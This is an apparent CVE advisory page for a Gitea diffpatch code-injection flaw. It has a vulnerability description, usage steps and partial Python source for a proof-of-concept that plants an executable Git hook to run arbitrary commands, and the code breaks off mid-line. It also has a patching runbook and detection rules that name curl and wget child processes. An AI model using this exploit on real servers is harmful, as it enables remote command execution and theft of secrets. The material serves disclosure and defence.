CVE-2026-60004
gitea: Improper Control of Generation of Code ('Code Injection') (CVE-2026-60004)
Description
Summary
Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.
An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.
Details
services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:
cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3")
}
Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.
In a bare clone, the repository root is $GIT_DIR. As a result, an executable entry named:
hooks/post-index-change
becomes a live Git hook.
Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.
The hook's return value is not propagated to the diffpatch response.
The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.
PoC
The supplied gitea_diffpatch_rce_poc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.
Set the account password:
export GITEA_PASSWORD='account-password'
Execute a command through the diffpatch chain:
python3 ./gitea_diffpatch_rce_poc.py \
https://gitea.example \
pocuser \
'id; uname -srm; pwd'
The script:
- Creates an initialized private repository.
- Submits the same executable-hook patch twice.
- Fetches the result branch.
- Prints the command's combined stdout, stderr, and exit status.
- Prints the evidence repository, ref, and commit IDs to stderr.
Expected output resembles:
uid=1000(git) gid=1000(git) groups=1000(git)
Linux ...
/data/gitea/tmp/...
[exit-status=0]
The trigger requires:
- Git 2.32 or newer.
- An enabled
diffpatchroute. - A writable and executable temporary filesystem.
Open registration is required only for the no-prior-credentials attack path.
Impact
This is remote command execution as the Gitea service account (CWE-94).
Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:
app.iniand Gitea application secrets.- Process environment secrets.
- Mounted repositories.
- Database credentials and database contents.
- OAuth and integration credentials.
- Other internal or externally reachable services.
With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitea RCE PoC – authorized testing only.
"""
from __future__ import annotations
import argparse
import base64
import getpass
import hashlib
import json
import os
from pathlib import Path
import secrets
import shlex
import shutil
import subprocess
import sys
import tempfile
from typing import Any
import urllib.error
import urllib.parse
import urllib.request
TIMEOUT = 30.0
USER_AGENT = "gitea-rce-poc/2.0"
_RST = "\033[0m"
_DIM = "\033[2m"
_GRN = "\033[38;5;46m" # bright green
_RED = "\033[31m" # red for errors
def _g(t: str) -> str: return f"{_GRN}{t}{_RST}"
def _r(t: str) -> str: return f"{_RED}{t}{_RST}"
def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"
def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}")
def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}")
def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")
_SEP = " " + "═" * 44
BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}"
def print_banner(url: str, version: str | None = None,
command: str | None = None) -> None:
print()
for line in BANNER.splitlines():
print(_g(line))
print()
ver = version or "unknown"
print(_g(" " + "-" * 54))
print(_g(f" Target : {url}"))
print(_g(f" Version : {ver}"))
if command:
print(_g(f" Command : {command}"))
print(_g(" " + "-" * 54))
print()
class PocError(RuntimeError):
pass
class GiteaClient:
def __init__(self, base_url: str, username: str, password: str) -> None:
parsed = urllib.parse.urlsplit(base_url)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise PocError("URL must be an absolute http:// or https:// URL")
if parsed.query or parsed.fragment:
raise PocError("URL must not contain a query string or fragment")
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
encoded = base64.b64encode(
f"{username}:{password}".encode()
).decode("ascii")
self.authorization = f"Basic {encoded}"
def api(
self,
method: str,
path: str,
payload: dict[str, Any] | None = None,
) -> tuple[int, Any]:
data = None
if payload is not None:
data = json.dumps(payload, separators=(",", ":")).encode()
req = urllib.request.Request(
self.base_url + path,
data=data,
method=method,
headers={
"Accept": "application/json",
"Authorization": self.authorization,
"Content-Type": "application/json",
"User-Agent": USER_AGENT,
},
)
try:
with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
raw = r.read()
return r.status, json.loads(raw) if raw else None
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")[:2_000]
raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc
except urllib.error.URLError as exc:
raise PocError(f"{method} {path} failed: {exc.reason}") from exc
except json.JSONDecodeError:
raise PocError(f"{method} {path} returned invalid JSON")
def blob_oid(content: bytes) -> str:
return hashlib.sha1(
f"blob {len(content)}\0".encode("ascii") + content
).hexdigest()
def build_hook(command: str, leak_ref: str) -> bytes:
qcmd = shlex.quote(command)
qref = shlex.quote(f"refs/heads/{leak_ref}")
return (
"#!/bin/sh\n"
'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
'case "$origin_objects" in\n'
' /*) ;;\n'
' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
"esac\n"
'origin_git=${origin_objects%/objects}\n'
'[ "$origin_git" != "$origin_objects" ] || exit 3\n'
f"output_blob=$({{ /bin/sh -c {qcmd}; "
'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
'git --git-dir="$origin_git" mktree) || exit 5\n'
'commit=$(printf "command output\\n" | '
"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid "
"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid "
'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
f'git --git-dir="$origin_git" up
Response & Mitigation
Why act now?
Prioritisation rationale
With a CVSS score of 9.8 (AV:N/AC:L/PR:N/UI:N) and an EPSS percentile of 99.7 %, this vulnerability represents one of the highest-probability exploitation targets currently tracked. The attack requires only repository write access — a permission that is routinely over-provisioned in developer environments — and delivers full remote code execution as the Gitea service account. For NIS2-regulated organisations and KRITIS operators, Gitea commonly sits at the heart of the software supply chain (CI/CD pipelines, IaC repositories), meaning a successful compromise can propagate directly into production systems through backdoored source code or tampered build artefacts. Although CISA has not flagged known ransomware campaign use, the supply-chain impact potential is critical; patch deployment must take precedence over all other remediation activities.
Runbook · Step 1
Immediate response (0-24 h)
- Apply the vendor patch immediately: Upgrade Gitea to version 1.27.1 or later. All instances below 1.27.1 — including Bitnami-packaged deployments from 1.17.0 onward — are vulnerable. Retrieve the release package from the official Gitea release page or the Gitea GitHub releases feed.
- Block the diffpatch API endpoint at the perimeter: Drop or return HTTP 403 for all requests matching
*/api/v1/repos/*/git/diffpatchat your WAF or reverse proxy until the patch is in place. - Audit and trim repository write access: Enumerate all accounts holding push/write permissions on any repository; revoke permissions that are not immediately required. Treat every write-capable account as a potential attack vector.
- Inspect Git hooks across all repositories: On the Gitea server, scan every bare repository's
hooks/directory for unknown or recently modified files:find /opt/gitea/repositories -path "*/hooks/*" -newer /var/log/gitea/gitea.log. Treat any unexpected file as a confirmed indicator of compromise. - Harden the Gitea service account: Verify the OS user running Gitea has no sudo rights, no SSH keys to other hosts, and no database access beyond the Gitea schema. If it does, revoke those privileges immediately.
- Invalidate all active sessions and API tokens: Force-expire all Gitea sessions and API tokens, especially for accounts with repository write access, to neutralise any tokens that may already have been used to stage a hook.
Runbook · Step 2
Mitigation layers
- Network segmentation: Restrict access to Gitea's default ports (TCP 3000 for HTTP, TCP 22 for SSH) to authorised CI/CD systems and developer workstations only, using firewall rules or VLAN isolation.
- Reverse-proxy block rule (nginx/Apache): Reject requests to the vulnerable endpoint until patched. Example nginx directive:
location ~* /api/v1/repos/.+/git/diffpatch { deny all; } - Least-privilege process hardening: Run Gitea as a dedicated non-login system user (
/sbin/nologin). Enable an AppArmor or SELinux profile that prevents writes tohooks/directories outside the Gitea data path. - Disable HTTP push: Set
[repository] DISABLE_HTTP_GIT = trueinapp.inito force SSH-only push, reducing the attack surface for unauthenticated or weakly authenticated write operations. - File integrity monitoring on hook directories: Configure AIDE, Wazuh, or an equivalent FIM tool to alert on any create/modify event under
$GITEA_REPOSITORIES/**/hooks/. - Egress filtering for the Gitea process: Implement an egress firewall rule allowing the Gitea service account outbound connections only to defined destinations (e.g., SMTP relay, LDAP). This breaks reverse-shell callbacks following a successful hook injection.
Runbook · Step 3
Detection rules
- Web-server access logs: Alert on POST requests to the diffpatch endpoint. SPL snippet:
index=webproxy uri="*/api/v1/repos/*/git/diffpatch" method=POST | stats count by src_ip, user, uri - Filesystem monitoring (auditd/Wazuh): Alert on file creation or modification under any
hooks/directory by the Gitea process. Auditd rule:-w /opt/gitea/repositories -p wa -k gitea_hook_write - Process ancestry (Sysmon EID 1 / EDR): Alert when a child process of
giteaorgitspawns unexpected binaries. Sigma shape:ParentImage|endswith: 'gitea' AND Image|endswith: ('bash','sh','curl','wget','python') - Network telemetry (Zeek/Suricata): Flag outbound connections from the Gitea host to non-standard ports (anything other than 25, 465, 587, 389, 636) occurring within 60 seconds of a POST to the diffpatch endpoint — strong indicator of a reverse-shell callback.
- Gitea application log correlation: Correlate log entries containing
diffpatchwith HTTP 200 responses followed by hook execution events (hooks/pre-receive,hooks/post-receive). KQL snippet:message: "diffpatch" AND status: 200 AND message: "hook"
Metrics
Weakness classes (CWE)
CWE-94Base
Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
cwe.mitre.org →
Reanalysis & status changes
Chronological NVD audit events for this CVE — reanalyses, CVSS updates, CPE diffs.
- CVE CISA KEV Update2026-08-26 22:00 UTC· 9119a7d8-5eab-497f-8521-727c672e3725
- Date Added: 2026-08-25
- Due Date: 2026-08-25
- Required Action: 2026-08-25
- Vulnerability Name: 2026-08-25
- CVE Modified2026-08-26 21:16 UTC· 134c704f-9b21-4f2e-91b3-4a467353bcc0
- Reference: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004
- SSVC: {"id":"CVE-2026-60004","role":"CISA Coordinator","options":[{"exploitation":"active"},{"automatable":"yes"},{"technic…
Affected products
Products and version ranges extracted from the vendor/CERT advisory. A range like „<4.14.6“ implies the update recommendation „upgrade to 4.14.6 or later“.
bitnami
gitea1.17.0
Public exploit references
Public proof-of-concepts and detection templates for this vulnerability. Maturity ranges from reported PoCs through working detection scripts up to fully weaponized exploit modules. NEOSEC mirrors the code internally for forensic analysis; externally we only link to the original sources.
References & sources
- https://blog.gitea.com/release-of-1.27.1/
- https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
- https://www.runzero.com/blog/gitea/
- https://github.com/0xBlackash/CVE-2026-60004
- https://nvd.nist.gov/vuln/detail/CVE-2026-60004web
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004web
Linked advisories
- sans-newsbites-mail2026-08-28 00:00 UTCCISA Adds 10 CVEs to Known Exploited Vulnerabilities Catalog, Five with Three-day Mitigation Deadlines
- sans-atrisk-mail2026-08-27 00:00 UTC@RISK®: The Consensus Security Vulnerability Alert: Vol. 26, Num. 33
- thehackernews2026-08-26 06:27 UTCCritical Gitea RCE Actively Exploited as Reported Attack Drops Miner-Like Payload
- securityweek2026-08-26 05:17 UTCCISA Warns of Exploited Gitea Vulnerability